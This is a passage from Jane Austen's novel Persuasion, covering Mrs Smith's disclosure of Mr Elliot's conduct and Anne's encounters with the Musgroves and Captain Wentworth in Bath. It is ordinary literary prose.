real information +in such a line. Facts or opinions which are to pass through the hands +of so many, to be misconceived by folly in one, and ignorance in another, +can hardly have much truth left." + +"Only give me a hearing. You will soon be able to judge of +the general credit due, by listening to some particulars +which you can yourself immediately contradict or confirm. +Nobody supposes that you were his first inducement. He had seen you +indeed, before he came to Bath, and admired you, but without +knowing it to be you. So says my historian, at least. Is this true? +Did he see you last summer or autumn, `somewhere down in the west,' +to use her own words, without knowing it to be you?" + +"He certainly did. So far it is very true. At Lyme. +I happened to be at Lyme." + +"Well," continued Mrs Smith, triumphantly, "grant my friend the credit +due to the establishment of the first point asserted. He saw you then +at Lyme, and liked you so well as to be exceedingly pleased +to meet with you again in Camden Place, as Miss Anne Elliot, +and from that moment, I have no doubt, had a double motive +in his visits there. But there was another, and an earlier, +which I will now explain. If there is anything in my story which you know +to be either false or improbable, stop me. My account states, +that your sister's friend, the lady now staying with you, +whom I have heard you mention, came to Bath with Miss Elliot and Sir Walter +as long ago as September (in short when they first came themselves), +and has been staying there ever since; that she is a clever, insinuating, +handsome woman, poor and plausible, and altogether such in situation +and manner, as to give a general idea, among Sir Walter's acquaintance, +of her meaning to be Lady Elliot, and as general a surprise +that Miss Elliot should be apparently, blind to the danger." + +Here Mrs Smith paused a moment; but Anne had not a word to say, +and she continued-- + +"This was the light in which it appeared to those who knew the family, +long before you returned to it; and Colonel Wallis had his eye +upon your father enough to be sensible of it, though he did not then +visit in Camden Place; but his regard for Mr Elliot gave him an interest +in watching all that was going on there, and when Mr Elliot came to Bath +for a day or two, as he happened to do a little before Christmas, +Colonel Wallis made him acquainted with the appearance of things, +and the reports beginning to prevail. Now you are to understand, +that time had worked a very material change in Mr Elliot's opinions +as to the value of a baronetcy. Upon all points of blood and connexion +he is a completely altered man. Having long had as much money +as he could spend, nothing to wish for on the side of avarice +or indulgence, he has been gradually learning to pin his happiness +upon the consequence he is heir to. I thought it coming on +before our acquaintance ceased, but it is now a confirmed feeling. +He cannot bear the idea of not being Sir William. You may guess, +therefore, that the news he heard from his friend could not be +very agreeable, and you may guess what it produced; the resolution +of coming back to Bath as soon as possible, and of fixing himself here +for a time, with the view of renewing his former acquaintance, +and recovering such a footing in the family as might give him the means +of ascertaining the degree of his danger, and of circumventing the lady +if he found it material. This was agreed upon between the two friends +as the only thing to be done; and Colonel Wallis was to assist +in every way that he could. He was to be introduced, and Mrs Wallis +was to be introduced, and everybody was to be introduced. +Mr Elliot came back accordingly; and on application was forgiven, +as you know, and re-admitted into the family; and there it was +his constant object, and his only object (till your arrival +added another motive), to watch Sir Walter and Mrs Clay. +He omitted no opportunity of being with them, threw himself in their way, +called at all hours; but I need not be particular on this subject. +You can imagine what an artful man would do; and with this guide, +perhaps, may recollect what you have seen him do." + +"Yes," said Anne, "you tell me nothing which does not accord with +what I have known, or could imagine. There is always something offensive +in the details of cunning. The manoeuvres of selfishness and duplicity +must ever be revolting, but I have heard nothing which really surprises me. +I know those who would be shocked by such a representation of Mr Elliot, +who would have difficulty in believing it; but I have never been satisfied. +I have always wanted some other motive for his conduct than appeared. +I should like to know his present opinion, as to the probability +of the event he has been in dread of; whether he considers the danger +to be lessening or not." + +"Lessening, I understand," replied Mrs Smith. "He thinks Mrs Clay +afraid of him, aware that he sees through her, and not daring to proceed +as she might do in his absence. But since he must be absent +some time or other, I do not perceive how he can ever be secure +while she holds her present influence. Mrs Wallis has an amusing idea, +as nurse tells me, that it is to be put into the marriage articles +when you and Mr Elliot marry, that your father is not to marry Mrs Clay. +A scheme, worthy of Mrs Wallis's understanding, by all accounts; +but my sensible nurse Rooke sees the absurdity of it. `Why, to be sure, +ma'am,' said she, `it would not prevent his marrying anybody else.' +And, indeed, to own the truth, I do not think nurse, in her heart, +is a very strenuous opposer of Sir Walter's making a second match. +She must be allowed to be a favourer of matrimony, you know; +and (since self will intrude) who can say that she may not have +some flying visions of attending the next Lady Elliot, through +Mrs Wallis's recommendation?" + +"I am very glad to know all this," said Anne, after a little +thoughtfulness. "It will be more painful to me in some respects +to be in company with him, but I shall know better what to do. +My line of conduct will be more direct. Mr Elliot is evidently +a disingenuous, artificial, worldly man, who has never had +any better principle to guide him than selfishness." + +But Mr Elliot was not done with. Mrs Smith had been carried away +from her first direction, and Anne had forgotten, in the interest +of her own family concerns, how much had been originally implied +against him; but her attention was now called to the explanation +of those first hints, and she listened to a recital which, +if it did not perfectly justify the unqualified bitterness of Mrs Smith, +proved him to have been very unfeeling in his conduct towards her; +very deficient both in justice and compassion. + +She learned that (the intimacy between them continuing unimpaired +by Mr Elliot's marriage) they had been as before always together, +and Mr Elliot had led his friend into expenses much beyond his fortune. +Mrs Smith did not want to take blame to herself, and was most tender +of throwing any on her husband; but Anne could collect that their income +had never been equal to their style of living, and that from the first +there had been a great deal of general and joint extravagance. +From his wife's account of him she could discern Mr Smith to have been +a man of warm feelings, easy temper, careless habits, and not strong +understanding, much more amiable than his friend, and very unlike him, +led by him, and probably despised by him. Mr Elliot, raised by +his marriage to great affluence, and disposed to every gratification +of pleasure and vanity which could be commanded without involving himself, +(for with all his self-indulgence he had become a prudent man), +and beginning to be rich, just as his friend ought to have found himself +to be poor, seemed to have had no concern at all for that friend's +probable finances, but, on the contrary, had been prompting and +encouraging expenses which could end only in ruin; and the Smiths +accordingly had been ruined. + +The husband had died just in time to be spared the full knowledge of it. +They had previously known embarrassments enough to try the friendship +of their friends, and to prove that Mr Elliot's had better not be tried; +but it was not till his death that the wretched state of his affairs +was fully known. With a confidence in Mr Elliot's regard, +more creditable to his feelings than his judgement, Mr Smith had +appointed him the executor of his will; but Mr Elliot would not act, +and the difficulties and distress which this refusal had heaped on her, +in addition to the inevitable sufferings of her situation, had been such +as could not be related without anguish of spirit, or listened to +without corresponding indignation. + +Anne was shewn some letters of his on the occasion, answers to +urgent applications from Mrs Smith, which all breathed the same +stern resolution of not engaging in a fruitless trouble, and, +under a cold civility, the same hard-hearted indifference +to any of the evils it might bring on her. It was a dreadful picture +of ingratitude and inhumanity; and Anne felt, at some moments, +that no flagrant open crime could have been worse. She had a great deal +to listen to; all the particulars of past sad scenes, all the minutiae +of distress upon distress, which in former conversations had been +merely hinted at, were dwelt on now with a natural indulgence. +Anne could perfectly comprehend the exquisite relief, and was only +the more inclined to wonder at the composure of her friend's +usual state of mind. + +There was one circumstance in the history of her grievances +of particular irritation. She had good reason to believe that +some property of her husband in the West Indies, which had been +for many years under a sort of sequestration for the payment +of its own incumbrances, might be recoverable by proper measures; +and this property, though not large, would be enough to make +her comparatively rich. But there was nobody to stir in it. +Mr Elliot would do nothing, and she could do nothing herself, +equally disabled from personal exertion by her state of +bodily weakness, and from employing others by her want of money. +She had no natural connexions to assist her even with their counsel, +and she could not afford to purchase the assistance of the law. +This was a cruel aggravation of actually straitened means. +To feel that she ought to be in better circumstances, +that a little trouble in the right place might do it, +and to fear that delay might be even weakening her claims, +was hard to bear. + +It was on this point that she had hoped to engage Anne's good offices +with Mr Elliot. She had previously, in the anticipation +of their marriage, been very apprehensive of losing her friend by it; +but on being assured that he could have made no attempt of that nature, +since he did not even know her to be in Bath, it immediately occurred, +that something might be done in her favour by the influence of the woman +he loved, and she had been hastily preparing to interest Anne's feelings, +as far as the observances due to Mr Elliot's character would allow, +when Anne's refutation of the supposed engagement changed +the face of everything; and while it took from her the new-formed hope +of succeeding in the object of her first anxiety, left her at least +the comfort of telling the whole story her own way. + +After listening to this full description of Mr Elliot, Anne could not but +express some surprise at Mrs Smith's having spoken of him so favourably +in the beginning of their conversation. "She had seemed to recommend +and praise him!" + +"My dear," was Mrs Smith's reply, "there was nothing else to be done. +I considered your marrying him as certain, though he might not yet +have made the offer, and I could no more speak the truth of him, +than if he had been your husband. My heart bled for you, +as I talked of happiness; and yet he is sensible, he is agreeable, +and with such a woman as you, it was not absolutely hopeless. +He was very unkind to his first wife. They were wretched together. +But she was too ignorant and giddy for respect, and he had never loved her. +I was willing to hope that you must fare better." + +Anne could just acknowledge within herself such a possibility +of having been induced to marry him, as made her shudder at the idea +of the misery which must have followed. It was just possible that +she might have been persuaded by Lady Russell! And under such +a supposition, which would have been most miserable, when time had +disclosed all, too late? + +It was very desirable that Lady Russell should be no longer deceived; +and one of the concluding arrangements of this important conference, +which carried them through the greater part of the morning, +was, that Anne had full liberty to communicate to her friend +everything relative to Mrs Smith, in which his conduct was involved. + + + +Chapter 22 + + +Anne went home to think over all that she had heard. In one point, +her feelings were relieved by this knowledge of Mr Elliot. +There was no longer anything of tenderness due to him. He stood as +opposed to Captain Wentworth, in all his own unwelcome obtrusiveness; +and the evil of his attentions last night, the irremediable mischief +he might have done, was considered with sensations unqualified, unperplexed. +Pity for him was all over. But this was the only point of relief. +In every other respect, in looking around her, or penetrating forward, +she saw more to distrust and to apprehend. She was concerned +for the disappointment and pain Lady Russell would be feeling; +for the mortifications which must be hanging over her father and sister, +and had all the distress of foreseeing many evils, without knowing +how to avert any one of them. She was most thankful for her own +knowledge of him. She had never considered herself as entitled to reward +for not slighting an old friend like Mrs Smith, but here was +a reward indeed springing from it! Mrs Smith had been able to tell her +what no one else could have done. Could the knowledge have +been extended through her family? But this was a vain idea. +She must talk to Lady Russell, tell her, consult with her, +and having done her best, wait the event with as much composure +as possible; and after all, her greatest want of composure would be +in that quarter of the mind which could not be opened to Lady Russell; +in that flow of anxieties and fears which must be all to herself. + + +She found, on reaching home, that she had, as she intended, +escaped seeing Mr Elliot; that he had called and paid them +a long morning visit; but hardly had she congratulated herself, +and felt safe, when she heard that he was coming again in the evening. + +"I had not the smallest intention of asking him," said Elizabeth, +with affected carelessness, "but he gave so many hints; +so Mrs Clay says, at least." + +"Indeed, I do say it. I never saw anybody in my life spell harder +for an invitation. Poor man! I was really in pain for him; +for your hard-hearted sister, Miss Anne, seems bent on cruelty." + +"Oh!" cried Elizabeth, "I have been rather too much used to the game +to be soon overcome by a gentleman's hints. However, when I found +how excessively he was regretting that he should miss my father +this morning, I gave way immediately, for I would never really omit +an opportunity of bring him and Sir Walter together. They appear to +so much advantage in company with each other. Each behaving so pleasantly. +Mr Elliot looking up with so much respect." + +"Quite delightful!" cried Mrs Clay, not daring, however, +to turn her eyes towards Anne. "Exactly like father and son! +Dear Miss Elliot, may I not say father and son?" + +"Oh! I lay no embargo on any body's words. If you will have such +ideas! But, upon my word, I am scarcely sensible of his attentions +being beyond those of other men." + +"My dear Miss Elliot!" exclaimed Mrs Clay, lifting her hands and eyes, +and sinking all the rest of her astonishment in a convenient silence. + +"Well, my dear Penelope, you need not be so alarmed about him. +I did invite him, you know. I sent him away with smiles. +When I found he was really going to his friends at Thornberry Park +for the whole day to-morrow, I had compassion on him." + +Anne admired the good acting of the friend, in being able to shew +such pleasure as she did, in the expectation and in the actual arrival +of the very person whose presence must really be interfering with +her prime object. It was impossible but that Mrs Clay must hate +the sight of Mr Elliot; and yet she could assume a most obliging, +placid look, and appear quite satisfied with the curtailed license +of devoting herself only half as much to Sir Walter as she would have +done otherwise. + +To Anne herself it was most distressing to see Mr Elliot enter the room; +and quite painful to have him approach and speak to her. +She had been used before to feel that he could not be always quite sincere, +but now she saw insincerity in everything. His attentive deference +to her father, contrasted with his former language, was odious; +and when she thought of his cruel conduct towards Mrs Smith, +she could hardly bear the sight of his present smiles and mildness, +or the sound of his artificial good sentiments. + +She meant to avoid any such alteration of manners as might provoke +a remonstrance on his side. It was a great object to her to escape +all enquiry or eclat; but it was her intention to be as decidedly cool +to him as might be compatible with their relationship; and to retrace, +as quietly as she could, the few steps of unnecessary intimacy she had +been gradually led along. She was accordingly more guarded, +and more cool, than she had been the night before. + +He wanted to animate her curiosity again as to how and where +he could have heard her formerly praised; wanted very much +to be gratified by more solicitation; but the charm was broken: +he found that the heat and animation of a public room was necessary +to kindle his modest cousin's vanity; he found, at least, that it was +not to be done now, by any of those attempts which he could hazard +among the too-commanding claims of the others. He little surmised +that it was a subject acting now exactly against his interest, +bringing immediately to her thoughts all those parts of his conduct +which were least excusable. + +She had some satisfaction in finding that he was really going out of Bath +the next morning, going early, and that he would be gone the greater part +of two days. He was invited again to Camden Place the very evening of +his return; but from Thursday to Saturday evening his absence was certain. +It was bad enough that a Mrs Clay should be always before her; +but that a deeper hypocrite should be added to their party, +seemed the destruction of everything like peace and comfort. +It was so humiliating to reflect on the constant deception practised +on her father and Elizabeth; to consider the various sources +of mortification preparing for them! Mrs Clay's selfishness was +not so complicate nor so revolting as his; and Anne would have compounded +for the marriage at once, with all its evils, to be clear of Mr Elliot's +subtleties in endeavouring to prevent it. + +On Friday morning she meant to go very early to Lady Russell, +and accomplish the necessary communication; and she would have gone +directly after breakfast, but that Mrs Clay was also going out +on some obliging purpose of saving her sister trouble, which +determined her to wait till she might be safe from such a companion. +She saw Mrs Clay fairly off, therefore, before she began to talk +of spending the morning in Rivers Street. + +"Very well," said Elizabeth, "I have nothing to send but my love. +Oh! you may as well take back that tiresome book she would lend me, +and pretend I have read it through. I really cannot be plaguing myself +for ever with all the new poems and states of the nation that come out. +Lady Russell quite bores one with her new publications. +You need not tell her so, but I thought her dress hideous the other night. +I used to think she had some taste in dress, but I was ashamed of her +at the concert. Something so formal and arrange in her air! +and she sits so upright! My best love, of course." + +"And mine," added Sir Walter. "Kindest regards. And you may say, +that I mean to call upon her soon. Make a civil message; +but I shall only leave my card. Morning visits are never fair +by women at her time of life, who make themselves up so little. +If she would only wear rouge she would not be afraid of being seen; +but last time I called, I observed the blinds were let down immediately." + +While her father spoke, there was a knock at the door. Who could it be? +Anne, remembering the preconcerted visits, at all hours, of Mr Elliot, +would have expected him, but for his known engagement seven miles off. +After the usual period of suspense, the usual sounds of approach were heard, +and "Mr and Mrs Charles Musgrove" were ushered into the room. + +Surprise was the strongest emotion raised by their appearance; +but Anne was really glad to see them; and the others were not so sorry +but that they could put on a decent air of welcome; and as soon +as it became clear that these, their nearest relations, were not arrived +with an views of accommodation in that house, Sir Walter and Elizabeth +were able to rise in cordiality, and do the honours of it very well. +They were come to Bath for a few days with Mrs Musgrove, and were +at the White Hart. So much was pretty soon understood; +but till Sir Walter and Elizabeth were walking Mary into +the other drawing-room, and regaling themselves with her admiration, +Anne could not draw upon Charles's brain for a regular history +of their coming, or an explanation of some smiling hints +of particular business, which had been ostentatiously dropped by Mary, +as well as of some apparent confusion as to whom their party consisted of. + +She then found that it consisted of Mrs Musgrove, Henrietta, +and Captain Harville, beside their two selves. He gave her a very plain, +intelligible account of the whole; a narration in which she saw +a great deal of most characteristic proceeding. The scheme +had received its first impulse by Captain Harville's wanting to +come to Bath on business. He had begun to talk of it a week ago; +and by way of doing something, as shooting was over, Charles had proposed +coming with him, and Mrs Harville had seemed to like the idea of it +very much, as an advantage to her husband; but Mary could not bear +to be left, and had made herself so unhappy about it, that for a day or two +everything seemed to be in suspense, or at an end. But then, +it had been taken up by his father and mother. His mother had +some old friends in Bath whom she wanted to see; it was thought +a good opportunity for Henrietta to come and buy wedding-clothes +for herself and her sister; and, in short, it ended in being +his mother's party, that everything might be comfortable and easy +to Captain Harville; and he and Mary were included in it +by way of general convenience. They had arrived late the night before. +Mrs Harville, her children, and Captain Benwick, remained with +Mr Musgrove and Louisa at Uppercross. + +Anne's only surprise was, that affairs should be in forwardness enough +for Henrietta's wedding-clothes to be talked of. She had imagined +such difficulties of fortune to exist there as must prevent +the marriage from being near at hand; but she learned from Charles that, +very recently, (since Mary's last letter to herself), Charles Hayter +had been applied to by a friend to hold a living for a youth +who could not possibly claim it under many years; and that +on the strength of his present income, with almost a certainty +of something more permanent long before the term in question, +the two families had consented to the young people's wishes, +and that their marriage was likely to take place in a few months, +quite as soon as Louisa's. "And a very good living it was," +Charles added: "only five-and-twenty miles from Uppercross, +and in a very fine country: fine part of Dorsetshire. +In the centre of some of the best preserves in the kingdom, +surrounded by three great proprietors, each more careful and jealous +than the other; and to two of the three at least, Charles Hayter might get +a special recommendation. Not that he will value it as he ought," +he observed, "Charles is too cool about sporting. That's the worst of him." + +"I am extremely glad, indeed," cried Anne, "particularly glad +that this should happen; and that of two sisters, who both deserve +equally well, and who have always been such good friends, +the pleasant prospect of one should not be dimming those of the other-- +that they should be so equal in their prosperity and comfort. +I hope your father and mother are quite happy with regard to both." + +"Oh! yes. My father would be well pleased if the gentlemen were richer, +but he has no other fault to find. Money, you know, coming down with +money--two daughters at once--it cannot be a very agreeable operation, +and it streightens him as to many things. However, I do not mean to say +they have not a right to it. It is very fit they should have +daughters' shares; and I am sure he has always been a very kind, +liberal father to me. Mary does not above half like Henrietta's match. +She never did, you know. But she does not do him justice, +nor think enough about Winthrop. I cannot make her attend to +the value of the property. It is a very fair match, as times go; +and I have liked Charles Hayter all my life, and I shall not leave off now." + +"Such excellent parents as Mr and Mrs Musgrove," exclaimed Anne, +"should be happy in their children's marriages. They do everything +to confer happiness, I am sure. What a blessing to young people +to be in such hands! Your father and mother seem so totally free +from all those ambitious feelings which have led to so much misconduct +and misery, both in young and old. I hope you think Louisa +perfectly recovered now?" + +He answered rather hesitatingly, "Yes, I believe I do; very much recovered; +but she is altered; there is no running or jumping about, no laughing +or dancing; it is quite different. If one happens only to shut the door +a little hard, she starts and wriggles like a young dab-chick in the water; +and Benwick sits at her elbow, reading verses, or whispering to her, +all day long." + +Anne could not help laughing. "That cannot be much to your taste, +I know," said she; "but I do believe him to be an excellent young man." + +"To be sure he is. Nobody doubts it; and I hope you do not think +I am so illiberal as to want every man to have the same objects and +pleasures as myself. I have a great value for Benwick; and when one can +but get him to talk, he has plenty to say. His reading has done him +no harm, for he has fought as well as read. He is a brave fellow. +I got more acquainted with him last Monday than ever I did before. +We had a famous set-to at rat-hunting all the morning in +my father's great barns; and he played his part so well +that I have liked him the better ever since." + +Here they were interrupted by the absolute necessity of Charles's +following the others to admire mirrors and china; but Anne had +heard enough to understand the present state of Uppercross, +and rejoice in its happiness; and though she sighed as she rejoiced, +her sigh had none of the ill-will of envy in it. She would certainly +have risen to their blessings if she could, but she did not want +to lessen theirs. + +The visit passed off altogether in high good humour. Mary was +in excellent spirits, enjoying the gaiety and the change, +and so well satisfied with the journey in her mother-in-law's carriage +with four horses, and with her own complete independence of Camden Place, +that she was exactly in a temper to admire everything as she ought, +and enter most readily into all the superiorities of the house, +as they were detailed to her. She had no demands on her father or sister, +and her consequence was just enough increased by their handsome +drawing-rooms. + +Elizabeth was, for a short time, suffering a good deal. +She felt that Mrs Musgrove and all her party ought to be asked +to dine with them; but she could not bear to have the difference of style, +the reduction of servants, which a dinner must betray, witnessed by those +who had been always so inferior to the Elliots of Kellynch. +It was a struggle between propriety and vanity; but vanity got the better, +and then Elizabeth was happy again. These were her internal persuasions: +"Old fashioned notions; country hospitality; we do not profess +to give dinners; few people in Bath do; Lady Alicia never does; +did not even ask her own sister's family, though they were here a month: +and I dare say it would be very inconvenient to Mrs Musgrove; +put her quite out of her way. I am sure she would rather not come; +she cannot feel easy with us. I will ask them all for an evening; +that will be much better; that will be a novelty and a treat. +They have not seen two such drawing rooms before. They will be delighted +to come to-morrow evening. It shall be a regular party, small, +but most elegant." And this satisfied Elizabeth: and when the invitation +was given to the two present, and promised for the absent, +Mary was as completely satisfied. She was particularly asked +to meet Mr Elliot, and be introduced to Lady Dalrymple and Miss Carteret, +who were fortunately already engaged to come; and she could not +have received a more gratifying attention. Miss Elliot was to have +the honour of calling on Mrs Musgrove in the course of the morning; +and Anne walked off with Charles and Mary, to go and see her +and Henrietta directly. + +Her plan of sitting with Lady Russell must give way for the present. +They all three called in Rivers Street for a couple of minutes; +but Anne convinced herself that a day's delay of the intended communication +could be of no consequence, and hastened forward to the White Hart, +to see again the friends and companions of the last autumn, +with an eagerness of good-will which many associations contributed to form. + +They found Mrs Musgrove and her daughter within, and by themselves, +and Anne had the kindest welcome from each. Henrietta was exactly +in that state of recently-improved views, of fresh-formed happiness, +which made her full of regard and interest for everybody she had +ever liked before at all; and Mrs Musgrove's real affection had been won +by her usefulness when they were in distress. It was a heartiness, +and a warmth, and a sincerity which Anne delighted in the more, +from the sad want of such blessings at home. She was entreated +to give them as much of her time as possible, invited for every day +and all day long, or rather claimed as part of the family; and, in return, +she naturally fell into all her wonted ways of attention and assistance, +and on Charles's leaving them together, was listening to Mrs Musgrove's +history of Louisa, and to Henrietta's of herself, giving opinions +on business, and recommendations to shops; with intervals of every help +which Mary required, from altering her ribbon to settling her accounts; +from finding her keys, and assorting her trinkets, to trying +to convince her that she was not ill-used by anybody; which Mary, +well amused as she generally was, in her station at a window +overlooking the entrance to the Pump Room, could not but have +her moments of imagining. + +A morning of thorough confusion was to be expected. A large party +in an hotel ensured a quick-changing, unsettled scene. One five minutes +brought a note, the next a parcel; and Anne had not been there +half an hour, when their dining-room, spacious as it was, +seemed more than half filled: a party of steady old friends +were seated around Mrs Musgrove, and Charles came back with +Captains Harville and Wentworth. The appearance of the latter +could not be more than the surprise of the moment. It was impossible +for her to have forgotten to feel that this arrival of their +common friends must be soon bringing them together again. +Their last meeting had been most important in opening his feelings; +she had derived from it a delightful conviction; but she feared +from his looks, that the same unfortunate persuasion, which had +hastened him away from the Concert Room, still governed. +He did not seem to want to be near enough for conversation. + +She tried to be calm, and leave things to take their course, +and tried to dwell much on this argument of rational dependence:-- +"Surely, if there be constant attachment on each side, our hearts +must understand each other ere long. We are not boy and girl, +to be captiously irritable, misled by every moment's inadvertence, +and wantonly playing with our own happiness." And yet, +a few minutes afterwards, she felt as if their being in company +with each other, under their present circumstances, could only be +exposing them to inadvertencies and misconstructions of the most +mischievous kind. + +"Anne," cried Mary, still at her window, "there is Mrs Clay, +I am sure, standing under the colonnade, and a gentleman with her. +I saw them turn the corner from Bath Street just now. They seemed +deep in talk. Who is it? Come, and tell me. Good heavens! I recollect. +It is Mr Elliot himself." + +"No," cried Anne, quickly, "it cannot be Mr Elliot, I assure you. +He was to leave Bath at nine this morning, and does not come back +till to-morrow." + +As she spoke, she felt that Captain Wentworth was looking at her, +the consciousness of which vexed and embarrassed her, and made her regret +that she had said so much, simple as it was. + +Mary, resenting that she should be supposed not to know her own cousin, +began talking very warmly about the family features, and protesting +still more positively that it was Mr Elliot, calling again upon Anne +to come and look for herself, but Anne did not mean to stir, +and tried to be cool and unconcerned. Her distress returned, +however, on perceiving smiles and intelligent glances pass between +two or three of the lady visitors, as if they believed themselves +quite in the secret. It was evident that the report concerning her +had spread, and a short pause succeeded, which seemed to ensure +that it would now spread farther. + +"Do come, Anne" cried Mary, "come and look yourself. You will be too late +if you do not make haste. They are parting; they are shaking hands. +He is turning away. Not know Mr Elliot, indeed! You seem to have +forgot all about Lyme." + +To pacify Mary, and perhaps screen her own embarrassment, +Anne did move quietly to the window. She was just in time to ascertain +that it really was Mr Elliot, which she had never believed, +before he disappeared on one side, as Mrs Clay walked quickly off +on the other; and checking the surprise which she could not but feel +at such an appearance of friendly conference between two persons +of totally opposite interest, she calmly said, "Yes, it is Mr Elliot, +certainly. He has changed his hour of going, I suppose, that is all, +or I may be mistaken, I might not attend;" and walked back to her chair, +recomposed, and with the comfortable hope of having acquitted herself well. + +The visitors took their leave; and Charles, having civilly seen them off, +and then made a face at them, and abused them for coming, began with-- + +"Well, mother, I have done something for you that you will like. +I have been to the theatre, and secured a box for to-morrow night. +A'n't I a good boy? I know you love a play; and there is room for us all. +It holds nine. I have engaged Captain Wentworth. Anne will +not be sorry to join us, I am sure. We all like a play. +Have not I done well, mother?" + +Mrs Musgrove was good humouredly beginning to express her perfect readiness +for the play, if Henrietta and all the others liked it, when Mary +eagerly interrupted her by exclaiming-- + +"Good heavens, Charles! how can you think of such a thing? +Take a box for to-morrow night! Have you forgot that we are engaged +to Camden Place to-morrow night? and that we were most particularly asked +to meet Lady Dalrymple and her daughter, and Mr Elliot, and all +the principal family connexions, on purpose to be introduced to them? +How can you be so forgetful?" + +"Phoo! phoo!" replied Charles, "what's an evening party? +Never worth remembering. Your father might have asked us to dinner, +I think, if he had wanted to see us. You may do as you like, +but I shall go to the play." + +"Oh! Charles, I declare it will be too abominable if you do, +when you promised to go." + +"No, I did not promise. I only smirked and bowed, and said the word +`happy.' There was no promise." + +"But you must go, Charles. It would be unpardonable to fail. +We were asked on purpose to be introduced. There was always +such a great connexion between the Dalrymples and ourselves. +Nothing ever happened on either side that was not announced immediately. +We are quite near relations, you know; and Mr Elliot too, +whom you ought so particularly to be acquainted with! Every attention +is due to Mr Elliot. Consider, my father's heir: the future +representative of the family." + +"Don't talk to me about heirs and representatives," cried Charles. +"I am not one of those who neglect the reigning power to bow +to the rising sun. If I would not go for the sake of your father, +I should think it scandalous to go for the sake of his heir. +What is Mr Elliot to me?" The careless expression was life to Anne, +who saw that Captain Wentworth was all attention, looking and +listening with his whole soul; and that the last words brought +his enquiring eyes from Charles to herself. + +Charles and Mary still talked on in the same style; he, half serious +and half jesting, maintaining the scheme for the play, and she, +invariably serious, most warmly opposing it, and not omitting +to make it known that, however determined to go to Camden Place herself, +she should not think herself very well used, if they went to the play +without her. Mrs Musgrove interposed. + +"We had better put it off. Charles, you had much better go back +and change the box for Tuesday. It would be a pity to be divided, +and we should be losing Miss Anne, too, if there is a party at her father's; +and I am sure neither Henrietta nor I should care at all for the play, +if Miss Anne could not be with us." + +Anne felt truly obliged to her for such kindness; and quite as much +so for the opportunity it gave her of decidedly saying-- + +"If it depended only on my inclination, ma'am, the party at home +(excepting on Mary's account) would not be the smallest impediment. +I have no pleasure in the sort of meeting, and should be too happy +to change it for a play, and with you. But, it had better +not be attempted, perhaps." She had spoken it; but she trembled +when it was done, conscious that her words were listened to, +and daring not even to try to observe their effect. + +It was soon generally agreed that Tuesday should be the day; +Charles only reserving the advantage of still teasing his wife, +by persisting that he would go to the play to-morrow if nobody else would. + +Captain Wentworth left his seat, and walked to the fire-place; +probably for the sake of walking away from it soon afterwards, +and taking a station, with less bare-faced design, by Anne. + +"You have not been long enough in Bath," said he, "to enjoy +the evening parties of the place." + +"Oh! no. The usual character of them has nothing for me. +I am no card-player." + +"You were not formerly, I know. You did not use to like cards; +but time makes many changes." + +"I am not yet so much changed," cried Anne, and stopped, fearing she +hardly knew what misconstruction. After waiting a few moments +he said, and as if it were the result of immediate feeling, +"It is a period, indeed! Eight years and a half is a period." + +Whether he would have proceeded farther was left to Anne's imagination +to ponder over in a calmer hour; for while still hearing the sounds +he had uttered, she was startled to other subjects by Henrietta, +eager to make use of the present leisure for getting out, +and calling on her companions to lose no time, lest somebody else +should come in. + +They were obliged to move. Anne talked of being perfectly ready, +and tried to look it; but she felt that could Henrietta have known +the regret and reluctance of her heart in quitting that chair, +in preparing to quit the room, she would have found, in all her own +sensations for her cousin, in the very security of his affection, +wherewith to pity her. + +Their preparations, however, were stopped short. Alarming sounds +were heard; other visitors approached, and the door was thrown open +for Sir Walter and Miss Elliot, whose entrance seemed to give +a general chill. Anne felt an instant oppression, and wherever she looked +saw symptoms of the same. The comfort, the freedom, the gaiety +of the room was over, hushed into cold composure, determined silence, +or insipid talk, to meet the heartless elegance of her father and sister. +How mortifying to feel that it was so! + +Her jealous eye was satisfied in one particular. Captain Wentworth +was acknowledged again by each, by Elizabeth more graciously than before. +She even addressed him once, and looked at him more than once. +Elizabeth was, in fact, revolving a great measure. The sequel +explained it. After the waste of a few minutes in saying +the proper nothings, she began to give the invitation which +was to comprise all the remaining dues of the Musgroves. +"To-morrow evening, to meet a few friends: no formal party." +It was all said very gracefully, and the cards with which she had +provided herself, the "Miss Elliot at home," were laid on the table, +with a courteous, comprehensive smile to all, and one smile and +one card more decidedly for Captain Wentworth. The truth was, +that Elizabeth had been long enough in Bath to understand +the importance of a man of such an air and appearance as his. +The past was nothing. The present was that Captain Wentworth +would move about well in her drawing-room. The card was pointedly given, +and Sir Walter and Elizabeth arose and disappeared. + +The interruption had been short, though severe, and ease and animation +returned to most of those they left as the door shut them out, +but not to Anne. She could think only of the invitation she had +with such astonishment witnessed, and of the manner in which +it had been received; a manner of doubtful meaning, of surprise rather +than gratification, of polite acknowledgement rather than acceptance. +She knew him; she saw disdain in his eye, and could not venture to believe +that he had determined to accept such an offering, as an atonement +for all the insolence of the past. Her spirits sank. He held the card +in his hand after they were gone, as if deeply considering it. + +"Only think of Elizabeth's including everybody!" whispered Mary +very audibly. "I do not wonder Captain Wentworth is delighted! +You see he cannot put the card out of his hand." + +Anne caught his eye, saw his cheeks glow, and his mouth form itself +into a momentary expression of contempt, and turned away, +that she might neither see nor hear more to vex her. + +The party separated. The gentlemen had their own pursuits, +the ladies proceeded on their own business, and they met no more while +Anne belonged to them. She was earnestly begged to return and dine, +and give them all the rest of the day, but her spirits had been +so long exerted that at present she felt unequal to more, +and fit only for home, where she might be sure of being as silent +as she chose. + +Promising to be with them the whole of the following morning, therefore, +she closed the fatigues of the present by a toilsome walk to Camden Place, +there to spend the evening chiefly in listening to the busy arrangements +of Elizabeth and Mrs Clay for the morrow's party, the frequent enumeration +of the persons invited, and the continually improving detail of all +the embellishments which were to make it the most completely elegant +of its kind in Bath, while harassing herself with the never-ending +question, of whether Captain Wentworth would come or not? They were +reckoning him as certain, but with her it was a gnawing solicitude +never appeased for five minutes together. She generally thought +he would come, because she generally thought he ought; but it was a case +which she could not so shape into any positive act of duty or discretion, +as inevitably to defy the suggestions of very opposite feelings. + +She only roused herself from the broodings of this restless agitation, +to let Mrs Clay know that she had been seen with Mr Elliot +three hours after his being supposed to be out of Bath, +for having watched in vain for some intimation of the interview +from the lady herself, she determined to mention it, and it seemed to her +there was guilt in Mrs Clay's face as she listened. It was transient: +cleared away in an instant; but Anne could imagine she read there +the consciousness of having, by some complication of mutual trick, +or some overbearing authority of his, been obliged to attend +(perhaps for half an hour) to his lectures and restrictions on her designs +on Sir Walter. She exclaimed, however, with a very tolerable +imitation of nature: -- + +"Oh! dear! very true. Only think, Miss Elliot, to my 